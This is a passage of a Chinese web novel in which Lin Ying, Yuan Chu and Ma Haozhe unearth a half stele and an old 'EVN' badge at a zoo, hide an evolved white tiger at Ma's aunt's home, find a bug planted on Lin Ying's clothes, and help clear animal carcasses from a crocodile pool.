原初道:“小马哥说的不错,确实有这种可能。”他指了指脚下的土地,“这里的土壤含氧量非常高,昆虫在地下生活不足为奇。” 马浩哲得意洋洋,“那可不,不是你小马哥自夸,我对动物可是有研究的!对了,林萤,下面除了那个大茧还有啥?” 林萤道:“除了棺材,全是进化了的大鼠妇,它们的外壳变得坚韧有弹性,几乎可以支撑我站立,非常抗压——换句话说就是很难被打死,好在它们的胆子很小,并且没有攻击性,遇到人只会躲来躲去,所以我没有受到伤害也没去伤害它们。不过,大鼠妇乍一看挺吓人的,我记得,最大的一个有……有书桌那么大。” 原初点点头,并未过多纠结大鼠妇,却指了指黑暗中的空地,示意她向那边走,似乎是有什么更加重要的事情。 “怎么可能有那么大的鼠妇?你该不会是眼花了吧……”马浩哲惊讶地张大了嘴巴,他仍站在原地,一边消化着林萤话里的内容一边看向刚才的大树。高高的枝头,似乎有一道荧光闪过,马浩哲眨了眨眼睛再看去,却什么也没有了,他揉揉眼自言自语道:“我也眼花了吗?” 另一边,林萤边走边掏出纸擦了一把脸,转过头问原初:“怎么了?” 原初站定,指着鳄鱼池的一角,“刚才你下去的时候,突然有一块石碑从池子里冒了出来。我怕有异,并没有和小马哥挪动它。” 林萤过去一看,果然发现一个石碑斜斜地插在池子里,它的下方是开裂的水泥地面。石碑只露了一个头,宽约八十厘米,厚约二十厘米,碑首雕着“二龙戏珠”,两侧有祥云缠枝花纹,看样子有些年头了。因为长期受潮,石碑边角变得圆钝,上面的雕花都已经开裂,还有不少碎石剥落下来。 林萤想起自己在钻洞时遇到的硬质障碍物,现在想来,应该就是它了,所以自己刚才那一脚竟然直接把石碑从地下蹬上来了? 原初说:“看材质,这个石碑用的是最便宜的青石,可见立碑的人当时经济并不富裕;看碑首,这个应该是功德碑,这类碑的作用是为好人立传为后代立典范的,就是不知道表扬的是什么人,又是为什么表扬他了。” 林萤道:“想知道?这有什么难的,我这就把它给挖出来。” “需要帮忙吗?” 林萤道:“多此一问了,你知道我的力气有多么大!” 说罢,林萤扎了一个马步两只手抓着碑的两边,用力向上,生生将这个石碑从地里面拔了出来,然而让她没想到的是,石碑竟然只有一半。由于用力太大,林萤一个踉跄差点没抱着石碑摔在地上,还是原初眼尖手快,将她一把捞住,才免了林萤跟地面的亲密接触。 “谢谢你啊男朋友!”林萤坐在地上,瞅了瞅怀里的石碑,暗自怀疑是不是刚才自己那一脚把碑体踹断了。 “什么男朋友,你们恋爱了?” 马浩哲见有热闹,也凑了过来,刚走近就听到了林萤的话。 原初刚张了张嘴,就听林萤道:“没有,这只是我们在外的一种身份。” 马浩哲瓮声瓮气地道:“我就说呢,你刚富两天就开始恋爱,简直就对应了那句‘饱暖思淫欲’,让我不禁失望,难道我们的打工皇后也要开始堕落了吗……” 林萤睨他一眼,“什么啊,你还记得咱俩以前打工的时候我说过什么吗?财富,才是我永恒的追求……”感觉到一旁凉飕飕的视线,林萤的话又拐了个弯,“当然了,原医生玉树临风风流倜傥,能跟他谈恋爱也是极好的,只是不知道谁有那么大的福气。” 马浩哲看了看林萤,又看了看原初,最后将视线又落回林萤身上,恨铁不成钢地道:“丘比特拉弓射箭也会被你反弹回来,我以男人的直觉保证,他……” 原初打断了他的话,道:“别贫嘴了,看看上面写了什么。” 林萤将石碑平放在地面上,就见它只剩上半段,下半段不知所踪,全长也不过一米左右。因为怀疑是自己踢断的,她第一时间先检查了断裂面,就见上面全是腐蚀过的痕迹,显然不是刚刚断的,也就是说这本来就是半块残碑。 “咦,上面的字都快磨平了,啥也看不清。”马浩哲捂着鼻子凑了过来。 原初的手指划过碑额上的凹痕,缓缓念道:“善、行、千、秋,善行千秋。” “嗨,还是繁体字,我看正文也是竖着刻的,看上去年代挺久远。” “都腐蚀成这样了,年代肯定只早不晚。”林萤说着,随手掰了个巴掌大的水泥片,将石碑上多余的泥土轻轻刮掉。 随后,原初的指尖缓缓划至正文,“水青之路有水无青,幸得……玉兰、榆、樱、桂、杉若……乃令贫土成林,泽被后昆……一木虽微,可固水土,善……山高水长,永怀斯谊。”原初指着结尾处道:“有几处字迹太模糊,我只能凭着手感猜测。这后面应该是落款,但是石碑只有半个,所以看不到具体的时间。” “是个赞扬种树的碑吧?”林萤指着那句“一木虽微,可固水土”,缓缓说道。 原初道:“差不多,更多的应该是对赠树表示感谢,第一句它说水青路虽然有水,但是没有青色,也就是说缺乏植被,联系到当时的社会环境,应当是缺乏城市绿化;第二句是对方所赠的树木种类,有玉兰树、榆树等;再是这些树木的作用和贡献,以及对对方的感谢……” “我还以为是什么呢,那不就是环保嘛!” 马浩哲将目光从石碑上移开,看向地上的长方形豁口,方才林萤就是从这里把将近400多公斤的石碑拖出来的。 而林萤则是想起了林祐均的那条信息,那个传说中的“EVN”不就是个环保组织吗?EVN——enviro,成立时间很早,非常低调…… “不得不说啊,你们这些进化者真厉害,连这么重的东西都能搬动……”马浩哲的话说到一半,突然看到刚刚挖出石碑的长方形豁口处缓缓冒出 来一堆长长的触角,样子像极了蟑螂的触须,“呀!青檀也有小强?” 说着,他捡起林萤方才用来挂泥的水泥片,想将这个不讨喜的家伙砸进泥里。 但紧接着,马浩哲就就按到了第二双触角,这双触角更长更粗一些,显然背后的家伙更大,紧接着是第三双、第四双……密密麻麻的触角在豁口处上下左右轻轻抖动着探来探去,就像一双双从山洞里伸出来的手。 “咿——!” 马浩哲飞快向后退了一步,这幅画面让他感觉浑身刺挠,不能只自己一个人难受,于是他当机立断拽了拽原初的肘腕,“原医生,快看那边!” 原初一开始并没有注意到洞口那些触角,待看清后也是一愣,“那是……” “哈哈哈!我就知道你和我一样看错了,没想到原医生也怕蟑螂啊!” 马浩哲看到原初往后退,自己又往后退了三步。 林萤只瞥了一眼,“怕什么,那些是鼠妇的触角,它们虽然进化了但是特别胆小,你怕它它们还怕你呢……” 随着林萤话落,就见那些触角似乎捕捉到了空气中细微的动静,纷纷缩了回去。马浩哲等了片刻后重新过去看,豁口里的触角果然全不见了。 “哈哈!还真是!” 正在这时,原初“咦”了一声,林萤回头,就见他突然弯下腰,低头看向脚底,紧接着拨开刚刚不小心踩到的泥团,从里面取出来一枚硬币大小的东西。如果林萤没有记错的话,这个泥团就是刚才她从青石碑上刮下来的。 原初擦了擦那东西上的泥土,拿到面前定睛一看,接着眉头一拧,看向林萤。 “这是什么,是钱吗?”她凑过去问道。 “不是,看样子应该是徽章之类的东西……” 原初将手中的东西展示给林萤看,就见它比一元硬币还要大上一圈,正面是个如眼镜片一样的凸面体,上面覆盖着厚厚的绿锈,一侧是挂扣,另外一侧印着经纬线交织的地球,在赤道附近有三个小小的字母,原初使劲搓了搓那几个字母,而后眨眨眼,一面将徽章递到林萤眼前,一面轻声道:“E、V、N……” “EVN!” 林萤激动地接过徽章,说是徽章,乍一看,倒有点像胸针。就见这小小的一枚分量却不轻,做工也称得上精致。它应该是黄铜材质的,三个小字母的尾端上还有一个圆锥形的小孔,林萤猜测原本这里镶嵌着什么,只是经年累月,镶嵌物掉了,林萤又翻过来看,徽章的挂扣断了一半,所以才会掉落在地上。 “小马哥,你知道青檀动物园哪一年建的吗?” 马浩哲端着下巴歪着头,作沉思状,“总得有二十年了吧,我五岁的时候就在这里玩过,还照过相呢!不过具体是哪一年,等等啊,让你万能的小马哥找找帮手……”说罢,他低头从兜里掏出了手机,边搜索边说:“我猜园区简介里肯定写了……是1998年建的,哎呀,满打满算快30年了!” 60. 屎壳郎带面罩 “1998……”林萤看了看一旁的石碑,这块石碑和这枚徽章在这里压了将近30年,同理,刚刚自己看到的那口奇怪的棺材也是。 原初道:“当年一定有一帮EVN的成员来过这里,或许是为了立碑,或者是为了阻拦砸碑,总之不论如何,他们的确来过。他们着装统一,胸前都佩戴者象征组织的徽章,但是有一个人的徽章被遗落了,与石碑一同埋在了同一处,又被我们今天挖了出来。相较而言,我更偏向于他们来是为了阻拦砸碑,不过像立碑砸碑这种事情,当地的档案里应该都有记载。” “三十年前的事情……”林萤暗自思索,如果这个EVN真的是劫走杜煦的那家组织,那可就不好办了,经过三十年的发展,很难想象它已经壮大到了何种地步。 不过,林萤看了看原初,又将徽章放在手心颠了两下,“管他立碑砸碑,有线索总比没线索好,总之我们今夜不算白来。” 马浩哲从方才起就一直想看一下传说中的进化鼠妇是什么样,只不过那些鼠妇太胆小,始终不肯露面,于是他索性趴在长方形豁口处向里面张望。 就在这时,马浩哲突然感觉自己的脚腕痒痒的,他扭过头一看,就见一只巴掌大的鼠妇正顺着他的裤腿往里爬,似乎是把他的腿当成了树干。 “啊!” 马浩哲惊叫一声,飞快起身,像触电般抖动着自己的腿,然而他抖得越快,裤腿里的鼠妇抓他越紧,愣是半天都没甩开,反而又往里爬了一些,吓得马浩哲几乎要把自己的裤子脱下来甩到三米开外。 “救命啊!救命啊!” 林萤和原初起先不知道发生了什么,慌忙上前查看,待知道罪魁祸首只是一只鼠妇后,不免打趣几句,这才笑嘻嘻帮马浩哲拿掉。 这只“误入裆途”的鼠妇看上去比马浩哲还要惊慌,一落到地上便“嗖”地缩成一只球,滚进了豁口里。 马浩哲心有余悸,“你小马哥平生最怕两种东西,没脚的和脚特别多的……” 原初道:“鱼没脚,你倒是不怕,还吃得很欢。” “唉唉——你怎么知道?”马浩哲先是皱着眉头思索片刻,而后嘴角抽了抽,“你记性可真好,咱就吃过一次鱼,而且那次明明林萤吃的更多啊……” 他的话还没说完,就在这时,突然一阵急促的脚步声从远处传来,伴随着一个陌生的男音,“谁在那边?!” “擦!来人了!”马浩哲惊呼一声,又慌忙捂住自己的嘴巴,压低声音道:“我看这边的墙头比较矮,咱们翻墙过去!” 林萤指了指鳄鱼池的入口处,道:“来不及了。” 马浩哲顺着她指的方向看去,正对上一束打光来的手电光,他被这束强光晃了眼,眯了眯眼睛,这才看到对面也是三个人,他们站在了鳄鱼池的入口处,正一脸严肃地看着自己,尤其是最右边那个穿橙色衣服的女人,看上去很是气愤。 ——等等。 马浩哲揉了揉眼睛,那个橙色的身影怎么如此眼熟? 林萤将手里的徽章悄悄装进兜,而后拉了拉马浩哲,小声说道:“小马哥,熟人。” 马浩哲定睛一看,顿时喜上眉梢,“姑!你没丢啊?” “丢?你当我三岁小孩啊!”马西梅倒是一脸怒气,“还不快过来!” 马浩哲扭扭捏捏走在最前头,林萤和原初放慢脚步跟在他的身后,二人本就有事相求,没想到被抓了个现行,也不知道马浩哲的姑姑还远不愿意帮他们。不过今天已经看到了这个石碑,也得知了地下的秘密,又找到了徽章,也算收获满满。 近了,马西梅对旁边二人道:“别担心,这是我那傻侄子和他的同学,不是那帮人。” 这两人其中一人正是上次林萤见过的清秀小伙,另一人则穿着园区工作服,毫无疑问是动物园的工作人员。 马浩哲挨了几个脑瓜崩,捂着脑袋从兜里掏出手机还给马西梅,又将吴阿姨的事情简单说了一下,就见马西梅的眉毛倒竖,“好个一善门,竟然把主意打到了你的身上,还有那个脑子不好使的吴敏,活该她被骗,死了也活该!” 话虽这样说,马西梅自从得知吴阿姨死了的消息后,眼眶便一直红红的,她抹了一把脸,朝身旁的二人道:“阿曹,看来今晚我得先走一步了,家里有点事要处理,你们先帮我顶着。” “没问题。”那位名叫阿曹的工作人员应到。 他旁边的清秀小伙也点了点头,“梅姨,你放心回去吧,这边还有我们。”说到这里,他偏过头,看向不远处地面碎裂的鳄鱼池。 林萤也没藏着掖着,将自己在这里发现了石碑和棺材的事情原原本本告诉了对方。 阿曹前来查看,却不怎么惊讶,他说由于土质的原因,这里的地面即使经过水泥硬化也经常裂开,所以他们都知道鳄鱼池下有个大洞,但却是第一次明确地知道下方有个墓。不过,以前这边都是土葬,坟茔也不在少数,就算挖个碑挖个棺材都算正常,之前建园的时候就挖出了很多,所以不用太在意。 林萤见对方似乎没有放在心上,也便没有多说。 回去的路上,马浩哲问起姑姑和一善门之间的纠葛。 马西梅叹了一口气,“其实我很早前就认识‘一善门’的头,他是社区诊所的医生,姓刘,我和你吴阿姨她们直接管他叫小刘,我们平时有个头疼脑热的小病都去找他治疗。他呢,医术不错,人也随和,就是眼神不太好,非得扎个两三次才能把针扎准,我们给他起了个外号叫‘刘三针’……” 转折发生在刘三针进化后,刘三针进化的是眼睛,他在某一天清晨突然惊醒,发现自己不用戴眼镜也能看清周围的事物。 除了一开始的欣喜,刘三针很快冷静下来,在他看来,眼部进化多少有些鸡肋,但聊胜于无,进化了总比没进化强。他照常来到诊所,重复着每天的日常,就在某一天,他遇到了一个腿部受伤的患者,刘三针在对方受伤的部位发现了一枚圆溜溜像结石一样的东西,他将那个东 西挑了出来。 “这就是那枚卖了天价的‘灵珠’。从此以后小诊所关了门,势力里多了个‘一善门’,刘三针也变成了刘爷。按道理说,从一个赤脚医生到坐拥上亿身价,刘三针已经够可以了,只是人呐,一旦尝到了甜头便很难停下,刘三针凭着他那双火眼金睛,到处寻找进化的人和进化的动物,就是想要再复制一次‘天价灵珠’,这次他们就看上了那只大白虎,可惜啊,大白虎本身就有灵性,提前跑了!” 林萤顺口问道:“阿姨,这么说昨晚那帮拿枪的人就是‘一善门’的?” “拿枪?”马西梅敏锐地看了过来,“你怎么知道?昨晚除了我们暗处确实有人,还帮了我们,该不会——” “啊,我们是……” 林萤说到一半,意识到差点暴露自己昨天晚上也来过动物园的事情,忙将即将说出的话吞了回去。 原初侧过身望向马西梅,接过林萤的话道:“我们是听‘战斧’那帮人说的,两今天早上在早市吃饭的时候,旁边正好坐了几个他们的人,听说他们的头儿被枪打死了,几个年轻人看上去特别伤心,鼻涕眼泪糊了一脸,很难让人忽略。” 马西梅的目光停在原初脸上,见他坦坦荡荡,言语间不似作假,才缓缓道:“原来是这样,那帮人确实是一善门的走狗,本来不足为惧,只不过仗着武器才横行霸道……”说到这里,她又放低声音,嘱咐道:“不过,最近你们还是不要瞎跑的好,像这种大晚上,就应该好好待在家里,别说是我丢了,就算是天塌了你们也不要出来……” 马浩哲问:“为啥?” 马西梅瞪他一眼,“你没看到街边贴的那些寻人启事吗?太多人失踪了!” 见马西梅不再纠结昨晚的事情,林萤这才松了一口气,她悄悄捏了捏原初的手臂,对方回给她一个浅浅的笑。 凌晨的青檀,空荡荡的马路上,两辆摩托呼啸而过。 林萤驾驶的摩托车先是超过了马西梅的,而后马西梅手把一拧,迅速赶上,两个人你追我赶,原本近半个小时的路程只用了十来分钟便到了。 居民楼下,马西梅停下车,摘掉头盔,冲林萤比了个大拇指,“后生可畏!车技不错!” 林萤也竖起自己的大拇指,“姜还是老的辣,晚辈还有很长的一段路需要走!” 两个人相视一笑,目光中满是惺惺相惜。 只可惜“姑!哇——姑!哇——”一阵呕吐声打破了这和谐的画。 只见马浩哲颤抖着双腿,刚从他姑的车后座上下来,还没来得及摘掉头盔,便晕乎乎地将晚饭全部吐了出来。呕吐物被头盔罩住,又在他踉跄两步后糊在了脸上。马浩哲睁眼也不是,闭眼也不是,一时间天地模糊,看到的尽是五颜六色的水,闻到的全是又酸又腐的味,臭气侵入五脏六腑,马浩哲感觉自己的胃里翻江倒海,又是“哇——”一声,尽数吐在了头盔里,液体满当当从下巴溢了出来。 真是屎壳郎带面罩——独享其臭啊! 61. 这只小猫真可爱 一番折腾,上楼、洗漱,林萤睡了两天以来的第一个好觉,一觉直接睡到了第二天天大亮。 当她打着哈欠从房间里出来的时候,就见其他几人都端正地围坐在圆桌边上,一脸宠溺地看着茶几中间正在就着一个青花瓷碟吃肉的小白虎。 ??? !!! 林萤的睡意一瞬间便消失得无影无踪。 马浩哲抬起头招呼她,“林萤,你的这个宠物猫也太可爱了,简直就像只小老虎一样!” ——啊啊啊!什么叫像,那本来就是! 马浩哲的姑姑在一旁道:“是啊,而且还特别通人性!刚刚我在厨房切肉,它突然走过来蹭我的腿,吓了我一跳!你男朋友说这是你的宠物猫,可能是闻到肉香了想吃点肉,我就给它切了几块,你瞧,它吃得多开心!” 林萤看了原初一眼,就见他冲自己眨眨眼,又抬起下巴指了指茶几上的毛绒,示意她快看。于是林萤忙收起目光中的惊讶,细细瞧去,就见白虎身上穿着一件用手帕折成的简易背心,背心遮住了它的双翼,使得它现在看上去的确像一只黑白相间的奶牛猫。 马西梅轻轻摸了摸白虎的头,“瞧瞧,这额头上的花纹真像个‘王’字,说起来,它跟我们动物园里那只叫做雪王的大白虎还挺像的,这花纹这眼睛这短胡子……”越说越狐疑,马西梅伸长脖子,凑到了白虎边上,“你别说,你别说——还真像!” 林萤忙打断了她的窥探,“猫和老虎都是猫科动物,肯定是像的,就像人和大猩猩,多少也是有点相似的,比如说手掌啊,还有眼睛啊……是不是啊马浩哲?我记得你有一次期末小论文写的就是这方面的,还得了个优秀论文。”说话间,她拍了拍马浩哲的胳膊。 马浩哲瞪圆了小眼,满脸都是激动,“天,我太感动了,你竟然还记得!那可是我第一次得优秀论文,不过,也是最后一次……” 马西梅的注意力成功转移到了马浩哲身上,“怎么能是最后一次呢?你现在继续努力,将来肯定能超越过去。好好学习,在学校的时候不要总打游戏!” 马浩哲双手合十,朝姑姑拜托拜托,“我的好姑姑,我哪里打游戏了,你又不是不知道我那个电脑是个老古董,开个机都要花两分钟,更别说打游戏了……”说着,他突然嗅了嗅,看向厨房的方向,“呀!姑,你烧啥菜呢,好像糊了!” 马西梅吸了吸鼻子,一拍大腿急匆匆站起来,“糟了,忘关火了!” 说罢,她忙向厨房跑去。 茶几上,白虎吃完了碟子里的最后一块肉,伸出舌头舔了舔嘴巴,又捋了捋胡须,接着伸了一个懒腰,向前两步,跳回了林萤的背包里,找了一个舒服的姿势卧了下去,紧接着闭上了眼睛,又开始呼呼大睡。 马浩哲回头看了一眼紧关着的厨房门,转过头敛起脸上的笑容,认真地看向林萤,低声询问:“林萤,你老实告诉我,那不是猫,那是老虎,对不对?” 林萤点了点头,知道瞒不过马浩哲,“是的,是只进化的白虎,我们捡到的时候它受了点小伤,医好后便一直在我的包里睡觉。” “该不会是那只大家都在找的明星虎吧……”马浩哲压低声音,见林萤点了点头,他顿时倒吸一口凉气,“天!是个烫手山芋……你打算怎么处理它?” 林萤想了想,“我暂时还没想那么多,它现在可谓是四面楚歌,交给谁都不放心。我想等忙完手上的事情,再找一个原始森林把它放归……”说到这里,她又缓缓道:“不过,这只白虎很聪明,它想走我也留不住。” 马浩哲点了点头,“嗯,也只能走一步看一步了。” 午餐出自马西梅之手,她的厨艺果真像马浩哲说的那样,简直是米其林级别的,难怪能把马浩哲养得白白胖胖。 期间,几人说到动物园里的事情,马西梅得知林萤两人想在动物园探查,遂即应了下来。而后林萤又问到EVN的事情,马西梅回忆一番,隐隐记得动物园动工之时为了腾出地面,似乎是发生了一些小摩擦,最终是如何解决的,她却并不清楚。不过这些事不难知道,估计动物园那边都有记载,到时候去问问就成。 吃过午饭,马西梅简单收拾一番便要出发去动物园,转移工作已经到了收尾阶段,但还有一些动物幼体没有转移,她要和战斧的小伙伴们一起协助园方,把它们都转移到安全地区。至于这个安全地区,林萤一点也不陌生,正是蹊暇市。 知道这点后马浩哲眼前一亮,“姑,我这次回来正是想让你和我一起去蹊暇的!” 马西梅摆了摆手,“你到时候跟小林他们一起回去,我在这边还有自己的事情要做,等我忙完了再说!” 马浩哲不解道:“姑,你看看青檀都乱成啥样了,你还有啥事情要坚持啊?那救护车光拉一趟都要三万,再往后咋生活呀!” 马西梅道:“小浩,青檀是什么地方?那是你的家乡,是生你养你的地方。我小时候、你父母小时候、你小时候,我们家祖祖辈辈都是在这里生活的。你总说这里不好,可她没有变,她还是山清水秀气候宜人,你不能只在她好的时候喜欢她,也不能因为她最近变得乱了而嫌弃她,要知道,你这个时候离开她,就是在给坏人挪窝,把自己的家乡交给不爱她的人。” 马浩哲叫嚷道:“姑,什么爱不爱的,你干嘛这么上纲上线,咱完全可以等青檀恢复秩序了再回来嘛!” 马西梅瞪眼,“谁来恢复?你来恢复?我们都走了怎么恢复?” 马浩哲抱住了头,“姑!” 无论如何劝说,马西梅都坚持己见,急得马浩哲直挠头,却左右没有办法。 林萤拉了拉马浩哲的衣袖,“姑姑不是要去动物园嘛,我们一起跟着去,或许看到她做的事情,你就能理解她了。” 原初也在一旁道:“就像你当时不顾危险也要来青檀一样,她想留在这里,一定也有自己的理由,所以我们也不妨等等她。” 马浩哲看了看林萤,又看了看原初,接着看向一脸期待的马西梅,最终,他摊开双手,“行吧,那我们一起去吧!” 马西梅这才笑了笑,拍了拍大侄子的肩膀,“这就对喽 ,虽然你没进化,但是力气大,帮忙搬搬东西啥的也是绰绰有余!” 几人边说边笑,从楼上往下走,林萤走的最快,她刚下了一层,突然瞥见楼下的门开了一条缝,一个人正站在门缝后往外看,看见林萤,立即将门“啪”地一声关上了。 林萤诧异地叫了一声:“吴听?” 原初小声道:“是她。” 奇怪,大白天鬼鬼祟祟躲在门后干什么?林萤放慢脚步,缓缓从吴听家门口路过,她能感觉到里面的人还贴在门上,也许正透过猫眼在看他们。 奇怪,昨天还大大方方的人今天怎么变得畏畏缩缩?林萤有意想要问问,刚在门前站定,门便从里面打开了。 吴听似乎一夜未睡,肿着眼泡,但精神仍旧亢奋,她的肢体随着脖颈间挂的耳机里重金属乐的打击声一摇一晃,似乎正置身于喧闹的夜店——好吧,还是原来的吴听。 林萤看着她不断摆动的头部问道:“吴听,什么事?” 对方突然把双手搭在了林萤的双肩上,“别担心,我只是有事要告诉你们。”说罢,吴听从斑马纹样的家居服兜里掏出一张纸条递给林萤,“从我妈那拿到的,你们不是想找什么‘一善门’嘛,也许能用得上。” 说罢,她将纸条拍在林萤手心,将林萤向后轻轻一推,紧接着便关上了门。 林萤还想再问话,敲了两声却不见对方开门,恰逢马浩哲和马西梅两人从楼上陆续下来,林萤也便作罢。 她低头查看吴听给的纸条,上面是一行五号宋体字:青檀老街,章鱼人——和玩具玉米投手车里的纸条很像。来不及多思索,林萤将两张纸条放在了一起。 她走到楼下,在戴头盔的前一刻抬头望向吴听家的窗口,果然在那里看到了白色的窗帘和窗帘后灰白的的身影,是吴听。 林萤想了想,把自己的手机递给原初,“你看看,我有没有被装监听?” 原初刚坐定,闻言,接过手机,“怎么了?” “吴听一直在看我们,如果她能给她妈妈装监听,保不齐也给我们装一个。” 原初查看一番,“手机没问题……昨晚毕竟没有让她碰过。” 林萤小声说:“那你等会记得检查一下我的衣服,她刚刚拍了我……先别动,她在楼上看着,咱们走在路上了你再检查。” 原初在林萤的示意下直接将手机装回她的口袋,一双手虚虚搂着林萤的腰,“如果你真的担心,我记得路上有几家买衣服的,我们重新买一件上衣。” 林萤轻轻点了点头,随着一声“坐稳了”,车冲了出去。 马西梅在前方带路,林萤紧随其后,马浩哲担心自己又要晕车,提前将一个塑料袋捏在手上,塑料袋没捏紧,被风吹的“呼啦呼啦”,风也吹来了马浩哲的惊呼声,“姑,慢点——” 白日的青檀比晚上热闹许多,加之今天天气很好,明亮的太阳高悬于空,驱散了深秋的寒意。林萤看到附近的居民纷纷将棉被抱出来晒,花花绿绿挂在外面,好像一面面旗帜,就连空气里也充满了棉花的味道。 62. 频频失踪的年轻人 林萤隔着头盔看了眼面侧方的小路,闲适的氛围感油然而生,只是,当她的眼角扫过墙面时,却很快被上面张贴的一张张寻人启事拉了回来。 ——太不正常了! 如此大规模的人口失踪,林萤不相信会是意外。尤其,杜煦也被带到了青檀。 这时,林萤的目光落在街边一家服装店,出于谨慎,她最终还是花大价钱买了一件新衣服。 原来那件衣服的背面倒是没什么,但是待脱下来后,在肩膀靠近腋下的位置多了一截细细软软的“铁丝”状物体,它看上去有些粗糙,却将林萤的旧衣服戳开了笔芯大小的一个洞,按常理,它会顺着这个洞直接进到衣服的夹层里,成为衣摆的一部分。只是林萤的衣服走线非常不标准,内层的线头又多,加之林萤一路骑车,双臂一直伸展着,所以这根“铁丝”直接被挂在了衣服上。 原初在手机上打字:好像是窃听器。 林萤不知道吴听葫芦里卖的是什么药,想了想,不动声色,将铁丝放回旧衣服里,又将衣服放进了车筐里。 不多时,几人就来到了动物园的后门,不同于夜里的大门紧闭,此时的门开了个小缝,两个战斧的小伙子正坐在门里打扑克,看见马西梅纷纷站了起来。 “梅姨,你来了!” 马西梅冲他们点点头,然后从车筐里拿出一个装得满满的塑料袋,“辛苦了,给你们买了点零食,今天我侄子也要来帮忙,说是帮忙,他毛手毛脚少不得添乱,还得你们年轻人帮衬帮衬。” “哎呀!梅姨你太客气了,这包东西得不少钱吧!”距离稍远的小伙子盯着满当当的袋子,不断咂舌。 另一个寸头小伙子则接过零食,连说多谢,又看向马西梅身后的原初,“嚯”一声,“梅姨,这就是你侄子呀,帅得吓人一跳!” 马西梅回过头,看了看原初,又看了看正在垃圾桶边上呕吐的马浩哲,此时,林萤正站在马浩哲的边上,将卫生纸一张一张递给他。 马西梅长叹一声,“说来拗口,他是我侄子的同学的男朋友,也是过来是给我们帮忙的,你们称呼他为小原就好。” 寸头小伙子道:“没问题!不我们都收拾的差不多了,园区就剩下最后一辆去蹊暇的车,阿曹和小雨两个人正在里面装车,我们两个在这边守着门。就怕一善门那边突然来人,这两天他们为了找雪王,跟打了鸡血一样,一天三遍地往咱们这跑。” 马西梅说:“难为你们了,再坚持一天,今天的事一了以后就不用再守着了……” 说话间,马浩哲摇摇晃晃走了过来,又灌下一大瓶矿泉水漱了漱口,“哗啦啦”吐到一旁的树坑里,再抬起头,一张白色的年轻大脸上竟似饱经风霜。 “姑,你真是我的亲姑唉,我的脑浆都要被要匀了——” 马西梅拍了拍马浩哲的上臂,对战斧的两个小伙子道:“这个才是我侄子马浩哲,看看这个身体素质,比起你们可差远了,亟需锻炼!” 马浩哲虚弱地道:“姑啊,晕车和身体素质没啥关系,它主要是由前庭系统的敏感度决定的……” 马西梅打断他,“我管你前庭还是后边的庭,今天起,减肥!锻炼!” “噗嗤——”一帮人都笑了起来。 几句寒暄后,马西梅要来一辆脚力三轮车,拉着林萤三人,一起去寻找阿曹和小雨。 令林萤意外的是他们要去的地方正好是两栖爬行动物区,昨晚他们也是在这里遇见马西梅的,马西梅口中的阿曹他们已经认识,小雨则是那个颇为清秀的少年。 林萤几人到时,爬行动物区的外面停着一辆重型卡车,车厢里装着几个大笼子,笼子里似乎是动物幼体,林萤还看到了几只龟宝宝,龟宝宝旁边的箱子上写着“龟卵”二字。林萤乘马西梅没有注意到,迅速跳上车打开包,将自己瓶子里的龟卵也放了进去。 待林萤越下车,恰逢马西梅转过身来,她看着一车厢的笼子,惊讶道:“居然还有这么多!” 卡车司机从驾驶室里跳了下来,他特意看了林萤一眼,然后道:“是啊,这些是被饲养员们藏在宿舍的,也是最后一批了,等拉到蹊暇这边的活就算了结了。”说着,他朝一旁啐了一口,“青檀,这破地方——以后求我我都不来!” 说罢,他又大声朝里面吆喝,“还有货吗?没有我就走了!” 一分钟后,阿曹气喘吁吁跑了出来,他掏出瘪瘪的烟盒,给司机递了一根烟,“没货了没货了,辛苦你了!” 卡车司机道:“行,那我就走了,到了联系!”说罢,他一把抓过阿曹的烟盒,拧过身回到了驾驶室。 随着重卡的驶离,地面“突突突”抖动起来,烟尘中,阿曹搓了搓手,对众道:“最近烟贵得离谱,大家都买不起了……走吧,小雨还在里面,左右得把地面清理一下。” 小雨正在清理鳄鱼池,他戴着厚厚的口罩,拿着铁锹,正在将堆积如山的动物尸体往一个黑色的大塑料袋里装。阿曹立即走到一边,和他一起劳作起来。 尽管此时的蚊虫不比夏日,可由于这几天随着尸堆的腐烂和发酵,加之昨夜那个奇怪大茧的孵化,腥臭的味道只增不减,吸引来了大批不知名的虫子,“嗡嗡嗡”在尸堆上飞翔,实在是又臭又热闹。 眼见那个叫小雨的少年都快被熏哭了,林萤主动拿起墙边多余的一把铁锹,对他道:“你去那边收拾,这边让我来。” 一旁的马浩哲见状,用胳膊肘撞了撞身侧的原初,“林大王这是久居茅厕不闻其臭,你看她面不改色心不跳,直面臭味,真乃豪杰也!” 林萤道:“小马哥你看看你,光知道说我却没看见我们缺人,这个垃圾袋还需要一个人来兜住,我看你满身腱子肉能倒拔垂杨柳,赶快来,别白白浪费了一身力气!” 马浩哲还想反驳,就被他姑一巴掌扇在了胳膊上,“快去,没看见你阿曹叔都累出一身汗了吗?” 马浩哲推脱不过,只得屏住呼吸兜住大袋子,偏偏倒尸体时铁锹没对准,一只软哒哒的小蛇掉在了他的手腕上,像手镯一样耷拉下来,凉凉的触感惊得他一蹦三尺高,几乎要飞起来了。 原初在一旁哈哈大 笑,满脸的幸灾乐祸,笑容还没淡下去就听林萤说道:“男朋友你也别闲着,看见那个大扫把没有?对,就是墙根那边的那个,拿起来,把地上的鼠妇尸体扫成一堆。” 笑容从马浩哲的脸上转移到原初的脸上,又从原初脸上转移到了林萤脸上,正是应了那句“笑容不会消失,只会转移”。 给每个人都安排得明明白白后,林萤凭借过硬的身体素质,不到十分钟,就将那成堆的尸体全部清理完毕,小雨将几个装尸体的大袋子全移到旁边的小货车上,阿曹便开着车去处理尸体了。 马浩哲的姑姑一直在打下手,因为林萤干活快,她急着赶上进度,所以也累得气喘吁吁,此时坐在鳄鱼池外的台阶上,正拿着一个毛巾在擦汗。 马西梅竖起大拇指,“小姑娘,你这身体素质真的可以!原本一上午的事情被你十几分钟干完了,有没有兴趣加入我们花开富贵?” “噗——” 马浩哲刚喝了一口水,听到姑姑的话,一个没忍住,差点全吐出来。 林萤瞪了他一眼,然后冲马西梅笑笑,“姑姑,我倒是想,但是我来青檀是为了找我一个朋友,她失踪了,等找到她我要带她回蹊暇。” 马西梅将毛巾搭在脖子上,问:“你朋友叫什么?给姑说说,姑人脉广,说不定能帮你找找。” 林萤想了想,跨上台阶,将杜煦的事情告诉了马西梅。尤其强调了一下,杜煦失踪的最后地点就是在水青路。 